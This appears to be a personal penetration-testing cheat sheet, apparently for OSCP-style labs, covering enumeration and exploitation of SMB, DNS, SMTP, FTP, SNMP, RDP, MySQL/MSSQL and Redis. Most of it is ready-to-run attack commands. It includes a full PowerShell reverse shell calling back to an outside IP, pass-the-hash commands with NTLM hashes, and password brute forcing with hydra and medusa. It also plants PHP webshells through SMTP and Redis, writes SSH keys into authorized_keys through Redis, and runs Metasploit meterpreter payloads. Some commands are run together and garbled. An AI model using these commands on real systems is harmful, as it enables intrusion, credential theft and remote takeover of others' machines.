Network
nmap -sn $iprange -oG - | grep Up | cut -d' ' -f2 > network.txt
TCP Port scanner script I use.
wget https://raw.githubusercontent.com/rowbot1/portscanner/main/portscanner.sh
nmap -Pn -sC -sV -oA all -vv -p- $ip
When you're getting no where with the TCP ports - try UDP ports. Easily forgotten about!
nmap -Pn -sU --top-ports 100 -oA udp -vv $ip
locate .nse | grep ftp
nmap --script-help ftp-anon
uniscan -u $ip -qweds
nmap -T4 -n -sC -sV -p- -oN nmap-versions --script='*vuln*' [ip]
Unicornscan supports asynchronous scans, speeding port scans on all 65535 ports. Nmap has powerful features that unicornscan does not have. With onetwopunch, unicornscan is used first to identify open ports, and then those ports are passed to nmap to perform further enumeration.
./onetwopunch.sh -t targets.txt -i tun0 -n '-T4 -n -sC -sV -oN nmap-versions --script=*vuln*'
NSE scripts that scans for vulnerabilities are at
ls -l /usr/share/nmap/scripts/*vuln*.nmap -p 80 --script=all $ip - Scan a target using all NSE scripts. May take an hour to complete.
nmap -p 80 --script=*vuln* $ip - Scan a target using all NSE vuln scripts.
nmap -p 80 --script=http*vuln* $ip - Scan a target using all HTTP vulns NSE scripts.
nmap -p 21 --script=ftp-anon $ip/24 - Scan entire network for FTP servers that allow anonymous access.
nmap -p 80 --script=http-vuln-cve2010-2861 $ip/24 - Scan entire network for a directory traversal vulnerability. It can even retrieve admin's password hash.
searchsploit --exclude=dos -t apache 2.2.3
msfconsole; > search apache 2.2.3
Find name servers
host -t ns $ip
fierce -dns $domain
Find email servers
host -t mx $ip
Subdomain bruteforcing
for ip in $(cat list.txt); do host $ip.$website; done
Reverse dns lookup bruteforcing
for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"
When initialising a zone transfer, the attacker will first need to know the name of the zone which they are targeting and then specify the IP address of the DNS server to perform the zone transfer against.
Below is a zone transfer against an open DNS server. You can use either of the commands below:
dig <target domain> @<dns server> axfr
host -l <target domain> <dns server>dig @[DNS SERVER HERE] axfr [DOMAIN NAME HERE]
The ‘@’ symbol is used to specify the target DNS server
host -l $ip ns1.$ip
dnsrecon -d $ip -t axfr
Finds nameservers for a given domain
host -t ns $ip| cut -d " " -f 4 #
dnsenum $ip
Nmap zone transfer scan
nmap $ip --script=dns-zone-transfer -p 53
Finds the domain names for a host.
whois $ip
Find the IP and authoritative servers.
nslookup $ip
Finds miss configure DNS entries.
host -t ns $ip
TheHarvester finds subdomains in google, bing, etc
python theHarvester.py -l 500 -b all -d $ip
Server Message Block (SMB) Protocol is a network file sharing protocol, and as implemented in Microsoft Windows
Samba has provided secure, stable and fast file and print services for all clients using the SMB/CIFS protocol, such as all versions of DOS and Windows, OS/2, Linux and many others
SMB Version | Windows version |
CIFS | Microsoft Windows NT 4.0 |
SMB 1.0 | Windows 2000, Windows XP, Windows Server 2003 and Windows Server 2003 R2 |
SMB 2.0 | Windows Vista & Windows Server 2008 |
SMB 2.1 | Windows 7 and Windows Server 2008 R2 |
SMB 3.0 | Windows 8 and Windows Server 2012 |
SMB 3.0.2 | Windows 8.1 and Windows Server 2012 R2 |
SMB 3.1.1 | Windows 10 and Windows Server 2016 |
netbios-ns 137/tcp # NETBIOS Name Service
netbios-ns 137/udp
netbios-dgm 138/tcp # NETBIOS Datagram Service
netbios-dgm 138/udp
netbios-ssn 139/tcp # NETBIOS session service
netbios-ssn 139/udp
microsoft-ds 445/tcp # if you are using Active Directory
- Enumerate Hostname -
nmblookup -A $ip - List Shares
smbmap -H $ipecho exit | smbclient -L \\\\$ipnmap --script smb-enum-shares -p 139,445 $ip
- Check Null Sessions
smbmap -H $iprpcclient -U "" -N $ipsmbclient \\\\$ip\\[share name]
- Check for Vulnerabilities -
nmap --script smb-vuln* -p 139,445 $ip - Overall Scan -
enum4linux -a $ip - Manual Inspection
smbver.sh $ip (port)
Get a shell with smbmap
smbmap -u jsmith -p 'R33nisP!nckle' -d ABC -h 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'
Quick script to check for vulns
https://github.com/rowbot1/OSCP-note/blob/master/ENUMERATION/SMB/SMB-check-vulns.rb
mblookup — NetBIOS over TCP/IP client used to lookup NetBIOS names
SMB NetBIOS service listens on TCP ports 139 and 445, as well as several UDP ports.
nmap -p 139,445 --open -oG smb.txt 192.168.1.0/24nbtscan -r 192.168.1.0/24Vulnerable SMB Versions
Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default
Windows 2003, and XP SP2 onwards - NOT VULNERABLE: Null Sessions can't be created default
Most Samba (Unix) servers
List of SMB versions and corresponding Windows versions:
SMB1 – Windows 2000, XP and Windows 2003.
SMB2 – Windows Vista SP1 and Windows 2008
SMB2.1 – Windows 7 and Windows 2008 R2
SMB3 – Windows 8 and Windows 2012.
Empty LM and NTLM hashes:
Empty LM Hash: aad3b435b51404eeaad3b435b51404ee
Empty NT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0
rpcclient
Manually probe a SMB server
rpcclient -U '' $ip
Password:
rpcclient $> srvinfo # operating system version
rpcclient $> netshareenumall # enumerate all shares and its paths
rpcclient $> enumdomusers # enumerate usernames defined on the server
rpcclient $> getdompwinfo # smb password policy configured on the server
Apparently the rpcclient version in OffSec VM does not work well with creating null sessions. A downgrade to samba-4.5.15 is required: https://forums.offensive-security.com/showthread.php?12943-Found-solution-to-enum4linux-rpcclient-problem-NT_STATUS_INVALID_PARAMETER&highlight=NT_STATUS_INVALID_PARAMETER Place the export commands into a script and source it before using rpcclient to use the downgraded version, or place it in bashrc. NOTE, once downgraded, pth-winexe doesn't seem to work.
enum4linux
Wrapper around smb programs like
rpcclient to automate enumerating an SMB server. Produces tons of results when a null session is successful. NOTE: Make sure to downgrade rpcclient before using.enum4linux -a $ip
enum4linux -u 'guest' -p '' -a $ip
CrackMapExec
Works perfectly, list shares and permissions, enum users, disks, code execute and run modules like mimikatz. Hashes work. Also will tell you exact version of Windows
crackmapexec -u 'guest' -p '' --shares $ip
crackmapexec -u 'guest' -p '' --rid-brute 4000 $ip
crackmapexec -u 'guest' -p '' --users $ip
crackmapexec smb 192.168.1.0/24 -u Administrator -p P@ssw0rd
crackmapexec smb 192.168.1.0/24 -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B
crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -M mimikatz 192.168.1.0/24
crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -x whoami $ip
crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B --exec-method smbexec -x whoami $ip# reliable pth code execution
Also will tell you exact version of windows:
smbmap
Works well for listing and downloading files, and listing shares and permissions. Hashes work. Code execution doesn't work.
smbmap -u '' -p '' -H $ip # similar to crackmapexec --shares
smbmap -u guest -p '' -H $ip
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -r # list top level dir
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -R # list everything recursively
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '.*' # download everything recursively in the wwwroot share to /usr/share/smbmap. great when smbclient doesnt work
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -x whoami # no work
generally works a bit better than enum4linux as it enum4linux tends to error out a bit
downloads to the
/usr/share/smbmap directorysmb: \> RECURSE ON
smb: \> PROMPT OFF
smb: \> mget *
smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q #downloads a file in quiet mode
smbmap -R $sharename -H $ip #Recursively list dirs, and files
smbmap -H $ip
default port it checks is 445, use -P 139 to point it at that port if 445 fails
Access SMB shares interactively, seems to work with anonymous access. Hashes don't work.
smbclient //$ip/wwwroot
smbclient //$ip/C$ WIN20082017 -U Administrator
smbclient //$ip/C$ A433F6C2B0D8BB92D7288ECFFACFC7CD -U Administrator --pw-nt-hash # make sure to only use the NT portion of the hash
WARNING, be careful when using the
get command to download absolute path files from the remote system. Eg. get /etc/passwd will download the passwd file and overwrite YOUR /etc/passwd. Use get /etc/passwd /tmp/passwd instead.To download recursively:
# Within smbclient, download everything recursively:
mask ""
recurse ON
prompt OFF
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *
pth-winexe
Works great sometimes. Can open a windows cmd shell.
pth-winexe -U administrator%WIN20082017 //$ipcmd # using a plaintext password
pth-winexe -U Administrator%A433F6C2B0D8BB92D7288ECFFACFC7CD //$ipcmd # ntlm hash encrypted with https://www.browserling.com/tools/ntlm-hash
pth-winexe -U domain/user%A433F6C2B0D8BB92D7288ECFFACFC7CD //$ipcmd # domain user
pth-winexe -U Administrator%8F49412C8D29DF02FB62879E33FBB745:A433F6C2B0D8BB92D7288ECFFACFC7CD //$ip cmd # lm+ntlm hash encrypted with https://asecuritysite.com/encryption/lmhash
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:A433F6C2B0D8BB92D7288ECFFACFC7CD //$ip cmd # ntlm hash + empty lm hash
# or
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
pth-winexe -U Administrator% //$ip cmd
#!/bin/bash
#SMB Enumeration using nmap
#(c) Mike Digital Offensive
if [ -z "$1" ]
then
echo "Error please provide host to enumerate"
exit
else
nmap -script=smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse $1
fi
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
nmblookup -A $ip
enum4linux -a $ip
Used to enumerate data from Windows and Samba hosts and is a wrapper for
smbclient, rpcclient, net and nmblookupLook for users, groups, shares, workgroup/domains and password policies
list smb nmap scripts
locate .nse | grep smb
nmap -A $ip -p139
then google to see if version is vulnerable
SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename
SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename
Use the GUI to browse and download ^ example above
medusa -h $ip -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt
nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv
Rid Enum is a RID cycling attack that attempts to enumerate user accounts through null sessions and the SID to RID enum. If you specify a password file, it will automatically attempt to brute force the user accounts when its finished enumerating.
https://tools.kali.org/maintaining-access/ridenum
A null SMB session can be used to gather passwords and useful information from SMB 1 by looking in shares that are not password protected for interesting files. Windows NT/2000 XP default settings allow this. Windows 2003/XP SP2 SMB this behaviour is disabled.
nbtscan -r $ip
msfconsole; use auxiliary/scanner/smb/smb_version; set RHOSTS $ip; run
MultiExploit
msfconsole; use exploit/multi/samba/usermap_script; set lhost 10.10.14.x; set rhost $ip; run
ls -ls /usr/share/nmap/scripts/smb*
Quick enum:
nmap --script=smb-enum* --script-args=unsafe=1 -T5 $ip
Quick vuln scan:
nmap --script=smb-vuln* --script-args=unsafe=1 -T5 $ip
Full enum and vuln scanning:
nmap --script=smb2-capabilities,smb-print-text,smb2-security-mode.nse,smb-protocols,smb2-time.nse,smb-psexec,smb2-vuln-uptime,smb-security-mode,smb-server-stats,smb-double-pulsar-backdoor,smb-system-info,smb-vuln-conficker,smb-enum-groups,smb-vuln-cve2009-3103,smb-enum-processes,smb-vuln-cve-2017-7494,smb-vuln-ms06-025,smb-enum-shares,smb-vuln-ms07-029,smb-enum-users,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-ls,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-os-discovery --script-args=unsafe=1 -T5 $ip
Full enum & vuln scan:
nmap -p139,445 -T4 -oN smb_vulns.txt -Pn --script 'not brute and not dos and smb-*' -vv -d $ip
Mount:
smbclient //$ip/share -U username
smblclient -N -L \\$ip
Anonymous mount:
smbclient //$ip/share # hit enter with blank password
Exploits a critical vulnerability in the SMBv1 protocol
Worth testing Eternal blue - you might get lucky although (the system should be patched to fix this)
Windows 7, 8, 8.1 and Windows Server 2003/2008/2012(R2)/2016
nmap -p 445 $ip --script=smb-vuln-ms17-010
Bruteforce
hydra -l administrator -P /usr/share/wordlists/rockyou.txt -t 1 $ip smb
Any metasploit exploit through Netbios over TCP in 139, you need to set:
set SMBDirect false
Show all mounts
showmount -e $ip
Mount a NFS share
mount $ip:/vol/share /mnt/nfs
Use nfspy to mount a share. Will get around permission errors
nfspysh -o server=$ip:/home/vulnix/
nmap -sV -Pn -vv --script=mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $ip -p 3306
nmap -sV -Pn -vv -script=mysql* $ip -p 3306
sqlmap -u 'http://$ip/login-off.asp' --method POST --data 'txtLoginID=admin&txtPassword=aa&cmdSubmit=Login' --all --dump-all
If Mysql is running as root and you have access, you can run commands:
mysql> select do_system('id');
mysql> \! sh
msf > use auxiliary/scanner/mssql/mssql_ping
nmap -sU --script=ms-sql-info $ip
msf auxiliary(mssql_login) > use auxiliary/scanner/mssql/mssql_login
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
# root@kali:~/dirsearch# cat ../.freetds.conf
[someserver]
host = $ip
port = 1433
tds version = 8.0
user=sa
root@kali:~/dirsearch# sqsh -S someserver -U sa -P PASS -D DB_NAME
- Used to send mail
- Always do users enumeration
- Mail is stored (in linux) in /var/log/mail/username. If you have LFI maybe you can connect to mail server and input webshell.
telnet $ip 25 EHLO rowbot MAIL FROM:[email protected] RCPT TO:$usernamehere DATA Subject: shell <?php system($_GET['cmd']); ?> . quit
symfonos:1 box
Completed machine with the above vulnerability: Symfonos:1
HELO
It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.
EHLO
An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol.
MAIL FROM
With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer.
RCPT TO
It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address.
SIZE
This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server.
DATA
With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission.
VRFY
The server is asked to verify whether a particular email address or username actually exists.
TURN
This command is used to invert roles between the client and the server, without the need to run a new connaction.
AUTH
With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission.
RSET
It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT).
EXPN
This SMTP command asks for a confirmation about the identification of a mailing list.
HELP
It’s a client’s request for some information that can be useful for the a successful transfer of the email.
QUIT
It terminates the SMTP conversation.
for server in $(cat smtpmachines); do echo "******************" $server "*****************"; smtp-user-enum -M VRFY -U userlist.txt -t $server;done #for multiple servers
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t $ip
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -t $ip
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt -t $ip > smtpuserenum
then grep exists
use auxiliary/scanner/smtp/smtp_enum
Python script
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 2:
print "Usage: vrfy.py <username>"
sys.exit(0)
# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
connect = s.connect(('192.168.1.234',25))
# Receive the banner
banner = s.recv(1024)
print banner
# VRFY a user
s.send('VRFY ' + sys.argv[1] + '\r\n')
result = s.recv(1024)
print result
# Close the socket
s.close()
Command to check if a user exists
VRFY root
Command to ask the server if a user belongs to a mailing list
EXPN root
Enumeration and vuln scanning:
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 $ip
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V
use auxiliary/scanner/smtp/smtp_enum
telnet $ip 25
EHLO root
MAIL FROM:[email protected]
RCPT TO:[email protected]
DATA
Subject: Testing open mail relay.
Testing SMTP open mail relay. Have a nice day.
.
QUIT
rpcinfo -p $ip
Get a list of .exe's that are using either TCP UDP HTTP and SMB via named pipes
rpcdump.py $ip | grep .exe | awk '{print $2}'
nmap $ip --script=msrpc-enum
msf > use exploit/windows/dcerpc/ms03_026_dcom
nmap --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 $ip
If anonymous login or any other login is allowed but you can't get Filezilla to open it. Play about with the connection settings, ACTIVE\PASSIVE\AUTO.
hydra -l user -P /usr/share/john/password.lst ftp://$ip:21
msfconsole -q msf> search type:auxiliary login: msf> use auxiliary/scanner/ftp/ftp_login
nmap --script=ftp-* -p 21 $ip
If unauthenticated access is allowed with write permissions you can upload a shell:
tftp $ip
tftp> ls
?Invalid command
tftp> verbose
Verbose mode on.
tftp> put shell.php
Sent 3605 bytes in 0.0 seconds [inf bits/sec]
nmap -sU -p 69 --script tftp-enum.nse $ip
or
use auxiliary/scanner/tftp/tftpbrute
connecting/interacting:
tftp $ip
tftp> put payload.exe
tftp> get file.txtuse auxiliary/scanner/ssh/ssh_enumusers
set user_file /usr/share/wordlists/metasploit/unix_users.txt
or
set user_file /usr/share/seclists/Usernames/Names/names.txt
run
python /usr/share/exploitdb/exploits/linux/remote/40136.py -U /usr/share/wordlists/metasploit/unix_users.txt $ip
If you see the following message, it likely means that scp
PTY allocation request failed on channel 0
hydra -v -V -l root -P password-file.txt $ip ssh
hydra -v -V -L user.txt -P /usr/share/wordlists/rockyou.txt -t 16 192.168.33.251 ssh
- You can use -w to slow down
openssl s_client -connect $ip:443
nmap --script ssl-enum-ciphers -p 443 $ip
- Look for unsafe ciphers such as Triple-DES and Blowfish
- Very complete tool for SSL auditing is testssl.sh, finds BEAST, FREAK, POODLE, heart bleed, etc...
enumerate Community strings
./onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.11.1.73
Community string too long
If you see this download onesixtyone from Github and run it there
snmp-check -t $ip -c public
use nmap to enumerate info
nmap -sU -p161 --script "snmp-*" $ip
apt install snmp-mibs-downloader #translates MIBs into readable format
for community in public private manager; do snmpwalk -c $community -v1 $ip; done
snmpwalk -c public -v1 $ip
snmpenum $ip public windows.txt
Less noisy:
snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25
Based on UDP, stateless and susceptible to UDP spoofing
nmap -sU --open -p 16110.1.1.1-254 -oG out.txt
snmpwalk -c public -v1 10.1.1.1 # we need to know that there is a community called public
snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25 # enumerate windows users
snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.2 # enumerates running processes
nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes $ip
telnet $ip 110
USER uer@$ip
PASS admin
list
retr 1
https://touhidshaikh.com/blog/?p=914
finger @$ip
if there is no user logged in this will show no username
finger $username@$ip
The finger command is very useful for checking users on target but it’s painful if brute-forced for a username.
use auxiliary/scanner/finger/finger_users
set rhosts $ip
set users_file
run
cd /tmp/
wget http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz
tar -xvf finger-user-enum-1.0.tar.gz
cd finger-user-enum-1.0
perl finger-user-enum.pl -t 10.22.1.11 -U /tmp/rockyou-top1000.txt
Install RDP nmap scripts
https://fadedlab.wordpress.com/2019/06/13/using-nmap-to-extract-windows-info-from-rdp/amp/
nmap -p 3389 --script rdp-ntlm-info $ip
ncrack -vv --user administrator -P password-file.txt rdp://$ip
hydra -t 4 -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
Test MS14-068
First, the web server on the server broadcasts, including a simple PHP code and create a back door, which will help us to execute commands on the server.
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
CONFIG GET dbfilename
1) "dbfilename"
2) "shell.php"
SET cmd "<?php system($_GET['cmd']); ?>"
OK
BGSAVE
which can be accessed using
http://$ip/shell.php?cmd=whoami
www-data
Second, file type found in the users home directory because it is our right and remote SSH access with a key instead of using the password used to connect to create key, they may be directly un-encrypted user rights that provide access to the system.
1: ssh-keygen -t rsa
2:
3: (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
4:
5: cat auth_key | redis-cli -h hostname -x set crackit
6: redis-cli -h hostname
7:
8: config set dir /root/.ssh/
9: config get dir
10: config set dbfilename "authorized_keys"
11: save
12:
13: config set dir /home/user/.ssh/
14: save
15:
16: config set dir /home/admin/.ssh/
17: